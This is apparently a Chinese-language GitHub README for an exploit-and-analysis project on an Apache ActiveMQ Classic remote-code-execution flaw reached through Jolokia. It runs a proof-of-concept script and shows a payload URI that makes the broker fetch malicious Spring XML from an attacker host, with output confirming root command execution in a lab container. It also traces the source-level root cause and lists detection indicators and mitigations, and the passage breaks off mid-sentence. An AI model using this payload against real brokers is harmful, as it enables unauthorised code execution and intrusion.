LAT-06/CVE-2026-34197
GitHub: LAT-06/CVE-2026-34197
一个针对Apache ActiveMQ Classic特定版本中,通过Jolokia JMX接口触发Spring Bean实例化实现远程命令执行(RCE)的漏洞利用与深度分析项目。
Stars: 0 | Forks: 0
# CVE-2026-34197
更多信息请参见:[链接](https://nvd.nist.gov/vuln/detail/CVE-2026-34197)
# 漏洞利用阶段
## 参考
Github: [链接](https://github.com/dinosn/CVE-2026-34197)
```
❯ docker compose up -d
```
```
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
```
其中 LHOST 是您计算机上的私有 IP。您可以在 Windows 上使用 `ipconfig` 或在 Linux 上使用 `ifconfig` 命令获取。
检查 RCE
```
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
```
=> RCE 成功,文件 `blahblah.txt` 已在目标系统上创建。
# 分析阶段
## 动态分析
```
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
```
```
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
```
运行时日志也确认 Jolokia 已通过 ActiveMQ Web 控制台启用并暴露:
```
INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
```
验证连接
```
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
```
这意味着:
- Jolokia 可访问
- 使用默认凭据认证成功
- 目标运行的是 ActiveMQ 5.18.6
- Jolokia 代理接受了认证请求
读取日志
```
docker logs activemq-vuln > activemq-rce.log
```
然后 grep 清理链
```
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
```
发送 payload 后
```
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
这一行至关重要,因为它确认了攻击者控制的 URI 通过以下方式提供:
```
BrokerView.addNetworkConnector(String)
```
未经清理即到达了 VM 传输层。
漏洞利用期间使用的恶意 URI 为:
```
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
此 URI 包含两个重要部分:
| 组件 | 用途 |
| ----------------- | ----------------------------------------------------- |
| `static:(...)` | ActiveMQ 发现连接器使用的包装器 |
| `vm://evil?...` | 由 ActiveMQ 内部处理的 VM 传输 URI |
`static:(...)` 包装器本身不是易受攻击的组件。其目的是将封闭的传输 URI 传递到 ActiveMQ 的网络连接器子系统。
在运行时执行期间,ActiveMQ 提取并处理了内部的 VM 传输 URI:
```
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
此行为在运行时日志中得到确认:
```
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
`brokerConfig=` 参数是 payload 的关键部分。它指示 VM 传输层使用从以下位置加载的外部 Spring xbean 配置动态创建一个 broker 实例:
```
http://192.168.1.32:9999/evil.xml
```
`xbean:` 前缀导致 ActiveMQ 将处理委托给 Spring 的 XML 应用程序上下文加载器:
```
org.apache.xbean.spring.context.ResourceXmlApplicationContext
```
结果,远程 XML 文档被解析并实例化为 broker JVM 内的 Spring 应用程序上下文。
恶意 XML 包含以下 Spring bean:
```
```
此 bean 定义指示 Spring 在应用程序上下文初始化期间实例化一个 `ProcessBuilder` 对象并立即调用其 `start()` 方法。
漏洞利用使用了以下命令:
```
touch /tmp/blahblah.txt
```
由于 Spring 在上下文初始化期间会急切实例化单例 bean,`ProcessBuilder.start()` 方法在 ActiveMQ 验证 broker 配置本身是否安全或有效之前即已执行。
这导致了在目标容器上执行任意命令。
通过检查 ActiveMQ 容器内的 `/tmp` 目录验证了漏洞利用成功:
```
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
```
文件元数据进一步确认了命令执行成功:
```
❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt
Size: 0
Uid: (0/root)
Gid: (0/root)
Birth: 2026-05-18 04:01:35
```
这证明在 ActiveMQ 容器上下文中成功执行了任意操作系统命令。
运行时堆栈跟踪也揭示了完整的易受攻击执行路径:
```
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
```
在运行时分析期间观察到以下堆栈跟踪条目:
```
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
```
动态分析期间最重要的观察之一是 Spring 和 ActiveMQ 处理恶意配置的顺序。
payload 执行成功后,ActiveMQ 随后生成了以下警告:
```
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
```
此行为表明:
```
Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
```
尽管 broker 配置本身最终被拒绝,但恶意的 Spring bean 已经实例化并执行了。
此顺序问题是 CVE-2026-34197 的核心逻辑缺陷。
动态分析识别了参与漏洞利用链的以下组件:
| 组件 | 角色 |
| ----------------------------- | ---------------------------------- |
| Jolokia | HTTP 到 JMX 的桥接器 |
| BrokerView | 暴露的管理 MBean |
| VMTransportFactory | 解析 `vm://` 传输 URI |
| BrokerFactory | 创建 broker 实例 |
| XBeanBrokerFactory | 加载 Spring xbean 配置 |
| ResourceXmlApplicationContext | 加载远程 XML |
| XmlBeanDefinitionReader | 解析 Spring bean 定义 |
| Spring BeanFactory | 实例化单例 bean |
| ProcessBuilder | 执行操作系统命令 |
动态分析确认 CVE-2026-34197 是由以下因素之间的相互作用引起的:
* 过于宽松的 Jolokia 管理操作
* 攻击者控制的传输 URI
* VM 传输 broker 自动创建
* Spring xbean 远程配置加载
* 在验证之前急切实例化单例 bean
结果,经过认证的攻击者可以通过 Jolokia 暴露的 `addNetworkConnector()` 操作提供恶意的 `brokerConfig=xbean:http://...` URI,在 ActiveMQ JVM 上实现任意代码执行。
### 架构概述
Apache ActiveMQ Classic 通过 Jolokia JMX-HTTP 桥接器暴露管理接口,该桥接器位于:
```
/api/jolokia/
```
Jolokia 充当 HTTP 到 JMX 的桥接器,允许经过认证的用户通过 HTTP 远程调用 Java 管理扩展 (JMX) 操作。
分析期间识别的易受攻击架构路径如下所示:
```
HTTP Request
->
Jolokia Servlet
->
JMX MBean Invocation
->
BrokerView.addNetworkConnector()
->
VMTransportFactory
->
BrokerFactory
->
XBeanBrokerFactory
->
Spring ResourceXmlApplicationContext
->
Spring Bean Instantiation
->
OS Command Execution
```
漏洞利用链涉及以下组件:
| 组件 | 功能 |
| --------------------- | ---------------------------------------- |
| Jolokia | 通过 HTTP 暴露 JMX 操作 |
| BrokerView | 管理 MBean 接口 |
| VMTransportFactory | 处理 `vm://` 传输 URI |
| BrokerFactory | 动态创建 broker |
| XBeanBrokerFactory | 加载 Spring xbean 配置 |
| Spring Context Loader | 解析并实例化 XML bean 定义 |
| ProcessBuilder | 执行操作系统命令 |
架构之所以变得脆弱,是因为 ActiveMQ 允许经过认证的用户调用带有攻击者控制的传输 URI 的危险 broker 管理方法。
### 攻击面分析
主要攻击面是通过 ActiveMQ Web 控制台暴露的 Jolokia HTTP 端点:
```
http://:8161/api/jolokia/
```
运行时分析确认 Jolokia 接口默认是启用的:
```
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
```
Jolokia 端点接受使用 HTTP 基本身份验证的认证请求:
```
"authMode":"basic"
```
暴露了以下危险的管理操作:
```
BrokerView.addNetworkConnector(String)
```
此方法接受用户控制的传输 URI,但未充分限制危险的 URI 方案或配置参数。
攻击者提供了以下 payload:
```
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
此 payload 同时滥用了多个特性:
| 特性 | 滥用 |
| ----------------------- | -------------------------------------- |
| `addNetworkConnector()` | 接受攻击者控制的 URI |
| `vm://` 传输 | 触发动态 broker 创建 |
| `brokerConfig=` | 加载任意 broker 配置 |
| `xbean:` | 调用 Spring XML 加载器 |
| 远程 HTTP URL | 获取攻击者控制的 XML |
因此,攻击面包括:
* Jolokia HTTP API 暴露
* 受限较弱的 JMX 管理操作
* 动态传输 URI 解析
* 外部 broker 配置加载
* Spring xbean 集成
### 根本原因分析
该漏洞是由 ActiveMQ 内部多个受信任子系统之间的相互作用引起的。
核心问题是,经过认证的 Jolokia 用户被允许使用攻击者控制的传输 URI 调用危险的 broker 管理操作。
运行时分析期间识别的易受攻击执行流程是:
```
Jolokia
->
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
Spring bean instantiation
```
关键参数是:
```
brokerConfig=xbean:http://attacker/evil.xml
```
此参数指示 VM 传输层使用外部 Spring xbean 配置动态创建一个 broker。
以下运行时证据证实了此行为:
```
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
Spring 然后通过以下方式加载远程 XML:
```
org.apache.xbean.spring.context.ResourceXmlApplicationContext
```
恶意 XML 包含:
```
```
在 Spring 应用程序上下文初始化期间,单例 bean 会被急切实例化。结果,`ProcessBuilder.start()` 方法立即执行。
关键的逻辑缺陷是,Spring bean 实例化发生在 ActiveMQ 验证 broker 配置本身是否安全或有效之前。
此行为通过以下方式被动态证明:
1. 恶意 payload 成功创建了 `/tmp/blahblah.txt`
2. ActiveMQ 随后拒绝了 broker 配置,错误信息为:
```
The configuration has no BrokerService instance
```
这表明代码执行发生在 broker 验证完成之前。
### 入侵指标 (IOC) 与检测
潜在的入侵指标包括针对 ActiveMQ 管理操作的可疑 Jolokia 请求。
#### 可疑的 Jolokia 操作
查找调用以下内容的请求:
```
addNetworkConnector
addConnector
```
通过以下方式:
```
/api/jolokia/
```
#### 可疑的 URI 模式
以下 URI 片段是利用尝试的强指标:
```
vm://
brokerConfig=
xbean:
static:(
```
示例恶意 payload:
```
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
```
#### 出站 HTTP 连接
Broker 可能会向攻击者控制的基础设施发起出站请求:
```
http://attacker/evil.xml
```
来自 broker JVM 的意外出站 HTTP 流量应进行调查。
#### 可疑的运行时日志
以下运行时消息是可疑的:
```
Establishing network connection from vm://localhost to vm://evil
```
```
ResourceXmlApplicationContext
```
```
XmlBeanDefinitionReader.loadBeanDefinitions
```
#### 文件系统构件
在以下位置出现意外文件:
```
/tmp/
```
或来自 ActiveMQ JVM 的可疑子进程执行可能表明存在漏洞利用。
### 影响分析
成功利用漏洞可在 ActiveMQ JVM 上下文中实现经过认证的远程代码执行。
在分析的环境中,任意操作系统命令在容器内成功执行:
```
touch /tmp/blahblah.txt
```
结果:
```
/tmp/blahblah.txt
```
文件创建为:
```
Uid: (0/root)
```
这表明命令执行是在容器内以 root 权限发生的。
潜在影响包括:
| 影响 | 描述 |
| --------------------- | ----------------------------------------- |
| 远程代码执行 | 任意命令执行 |
| 容器失陷 | ActiveMQ 容器被完全攻陷 |
| 凭证窃取 | 访问 broker 凭证和密钥 |
| 横向移动 | 转向相邻系统 |
| 持久化 | 创建恶意网络连接器 |
| 数据泄露 | 访问 broker 消息和队列 |
如果存在以下情况,严重性会显著增加:
* Jolokia 被外部暴露
* 默认凭据保持启用
* 容器以 root 身份运行
* Broker 主机具有无限制的出站访问权限
### 缓解措施
#### 升级到修复版本
将 ActiveMQ Classic 升级到:
```
5.19.4 or later
6.2.3 or later
```
#### 限制 Jolokia 访问
如果不需要,请禁用 Jolokia。
如果必须保持启用 Jolokia:
* 将访问权限限制在受信任的管理网络
* 强制执行强身份验证
* 禁用危险的 exec 操作
* 应用严格的 Jolokia 访问策略
#### 移除默认凭据
不要使用:
```
admin:admin
```
#### 限制出站网络访问
阻止 broker 发起任意的出站 HTTP 连接。
这可以缓解远程 XML 检索尝试。
#### 禁用危险功能
限制或禁用:
* 动态 broker 创建
* `vm://` 传输的使用
* 外部 `xbean:` 配置加载
#### 加固运行时环境
* 以非 root 用户身份运行容器
* 应用文件系统限制
* 使用网络分段
* 监控 JVM 子进程执行
#### 检测建议
监控以下内容:
* 对 `/api/jolokia/` 的请求
* `addNetworkConnector` 的使用
* `brokerConfig=` 参数
* `xbean:` URI
* 来自 broker JVM 的出站 HTTP 请求
* Java 生成的意外子进程
## 静态分析
### 源代码概述
易受攻击的路径跨越了 ActiveMQ Web/JMX 管理层、broker 网络层、VM 传输、broker 工厂子系统和 Spring XBean 配置加载。
Jolokia 在 ActiveMQ Web API 应用程序中启用:
```
jolokia-agent
org.jolokia.http.AgentServlet
...
jolokia-agent
/jolokia/*
```
在 broker 启动时,ActiveMQ 将 `BrokerView` 注册为 broker 管理 MBean:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
protected void startManagementContext() throws Exception {
getManagementContext().setBrokerName(brokerName);
getManagementContext().start();
adminView = new BrokerView(this, null);
ObjectName objectName = getBrokerObjectName();
AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName);
}
```
对象名称创建为:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
throws MalformedObjectNameException {
String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
return new ObjectName(objectNameStr);
}
```
在默认发行版中,这将 broker MBean 暴露为可通过 HTTP 调用的 Jolokia 目标,例如:
```
org.apache.activemq:type=Broker,brokerName=localhost
```
相关组件的职责如下:
- `BrokerView`:面向 JMX 的 broker 管理外观。它暴露了 `addNetworkConnector(String)` 和 `addConnector(String)` 方法。
- `BrokerService`:broker 运行时对象。它将字符串网络连接器地址转换为 `URI`,并创建一个 `DiscoveryNetworkConnector`。
- `DiscoveryNetworkConnector`:使用发现代理获取远程 broker 服务 URI,然后连接到每个发现的 URI。
- `TransportFactory`:使用 `META-INF/services/org/apache/activemq/transport/` 将 URI 方案解析为传输工厂。
- `VMTransportFactory`:处理 `vm://` 传输,并在请求的 VM broker 不存在时自动创建一个嵌入式 broker。
- `BrokerFactory`:使用 `META-INF/services/org/apache/activemq/broker/` 解析 broker 配置 URI 方案。
- `XBeanBrokerFactory`:处理 `xbean:` broker 配置 URI,并创建一个 Spring/XBean 应用程序上下文。
- `ResourceXmlApplicationContext`:加载 XML 资源并执行 Spring bean 工厂刷新,包括急切的单例创建。
该漏洞之所以存在,是因为管理方法接受了一种非被动数据的 ActiveMQ URI 语言。当该 URI 被求值时,它可以创建 broker 并加载 Spring XML 配置。
### 易受攻击的入口点
易受攻击的入口点是:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}
```
MBean 接口将操作暴露为:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
```
攻击者控制的输入是传递给 `discoveryAddress` 的 Jolokia `exec` 参数。在易受攻击的版本中,`BrokerView.addNetworkConnector()` 在将字符串传递给 `BrokerService` 之前,没有进行方案验证、嵌套 URI 验证或过滤特定于传输的参数。
`BrokerService` 将字符串直接转换为 `URI`:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
return addNetworkConnector(connector);
}
```
然后使用本地 broker URI 配置连接器对象,并将其添加到 broker:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
```
当 `BrokerView` 启动连接器时,控制流到达传输子系统:
```
connector.start();
```
对于利用 URI:
```
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
`static:(...)` 创建一个静态发现连接器,内部的 `vm://...` URI 成为发现的远程服务。
### VM 传输分析
VM 传输通过以下方式解析:
```
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
```
易受攻击的方法是:
```
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
```
该方法解析 `vm://` URI,提取查询参数,并将 `brokerConfig` 视为 broker 创建 URI:
```
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
```
`create` 选项默认为 `true`:
```
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
```
如果请求的 VM 主机不存在 broker,`VMTransportFactory` 将创建一个:
```
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
```
这是传输层的权限边界失败。通过管理平面提供的 URI 被 VM 传输作为从任意配置 URI 创建 broker 的指令进行求值。
剩余的参数验证发生在 broker 创建之后:
```
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
```
该验证无法阻止通过 `brokerConfig` 执行代码,因为 `brokerConfig` 在此检查运行之前已从 `options` 中移除并消耗。
上游发现路径是:
```
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);
```
对于 `static:(...)`,`SimpleDiscoveryAgent.start()` 立即发出每个配置的服务:
```
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
```
然后 `DiscoveryNetworkConnector.onServiceAdd()` 连接到攻击者控制的内部 URI。
### Broker 创建流程
Broker 创建由以下方法处理:
```
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
return createBroker(brokerURI, false);
}
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
if (brokerURI.getScheme() == null) {
throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
}
BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
BrokerService broker = handler.createBroker(brokerURI);
if (startBroker) {
broker.start();
}
return broker;
}
```
处理器查找基于方案:
```
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
```
对于 `xbean:` URI,服务描述符映射到 `XBeanBrokerFactory`:
```
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/代理/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory
```
精确的静态调用流程:
```
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
```
关键转换是:
```
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
```
到:
```
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
```
### Spring XBean 分析
相关的 XBean 工厂是:
```
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
```
`createBroker()` 提取 `xbean:` URI 的方案特定部分,并在检查是否包含 broker 之前创建一个 Spring 应用程序上下文:
```
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
```
危险的接收器是 `createApplicationContext()`:
```
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
```
远程资源由 `Utils.resourceFromString()` 接受:
```
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
```
因此:
```
xbean:http://192.168.1.32:9999/evil.xml
```
被简化为:
```
http://192.168.1.32:9999/evil.xml
```
并作为 Spring `UrlResource` 加载。
对 `reader.setValidating(isValidate())` 的调用仅控制 Spring 的 `XmlBeanDefinitionReader` 中的 XML 验证模式。它不限制 bean 类、构造函数参数、生命周期方法或远程 URL 资源。
### Spring Bean 实例化分析
ActiveMQ 5.18.6 声明:
